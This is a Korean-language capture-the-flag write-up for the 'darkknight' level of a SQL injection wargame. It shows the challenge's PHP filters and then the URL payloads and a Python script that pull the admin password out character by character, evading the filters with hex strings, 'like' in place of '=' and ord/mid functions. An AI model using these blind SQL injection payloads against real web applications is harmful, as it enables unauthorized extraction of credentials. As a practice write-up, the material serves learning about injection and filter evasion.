Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
필터링 조건 및 query를 보내기 위한 조건은 위와 같다.
처음에는 '(%27)이 필터링 되고 있고, ' \ ' (백 슬래시) 문자가 필터링 되어 있지 않아서, 아래와 같은 방식으로 우회를 시도하려 했으나, 본 문제는 아래 query 상황과는 다르다. no 필드에서 '(%27)가 사용되지 않는다.
ex. select test1 from test where id='\' and pw=' or 1#
-> parameter : id=\&pw=%20or%201%23
pw 필드를 사용하여, blind sql injection을 시도하기에는 무리가 있다고 판단하였고, no 필드를 이용하기로 했다.
?pw=guest&no=123456%20or%201%20like%201%20and%20id%20like%200x61646d696e%23
?pw=guest&no=0%20or%201%20like%201%23
위와 같은 payload 전달 시, Hello admin이 출력되고, Hello guest가 출력된다.
궁극적으로 pw를 구해야 하므로, pw 길이를 찾아보았다.
?pw=guest&no=1%20or%201%20like%201%20and%20id%20like%200x61646d696e%20%26%26%20length(pw)%20like%208%23
?pw=guest&no=1%20or%20id%20like%200x61646d696e%20%26%26%20length(pw)%20like%208%23
+plus ( guest pw 길이 )
?pw=guest&no=1%20or%20id%20like%200x6775657374%20%26%26%20length(pw)%20like%2020%23
위 payload로 id가 admin일 때, pw길이는 8글자인 것을 알아냈다.
pw를 구하기 위한 코드는 아래와 같았다. ( ascii 는 ord로 우회가 가능하고, = 는 like 로 우회가 가능하다. )
import requests
import string
url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=guest&no=0 or id like 0x61646d696e and "
cookies ={'PHPSESSID':"td5o1rar8mk5q4a7u5j478pkoc"}
result=""
for i in range(1,9):
for j in range(33,127):
param="ord(mid(pw,"+str(i)+",1)) like "+str(j)+"%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += chr(j)
break
print("pw: "+result)
처음 위 코드의 url 부분을 아래와 같이하고, 요청을 보냈을 때 pw 7자리가 출력되었다. ( 왜 그런지는.. ) 아래 url을 하드코딩한 상태로, 코드를 돌렸을 때 나온 pw 는 0b70ea1 이다.
url="(( 생략 )) ?pw=guest&no=1 or "
아무튼! id = admin 일 경우의 pw를 정확히 구해주기 위해서, 올바른 코드로 수정했고 아래 그림 1과 같이 문제를 해결할 수 있었다.
참고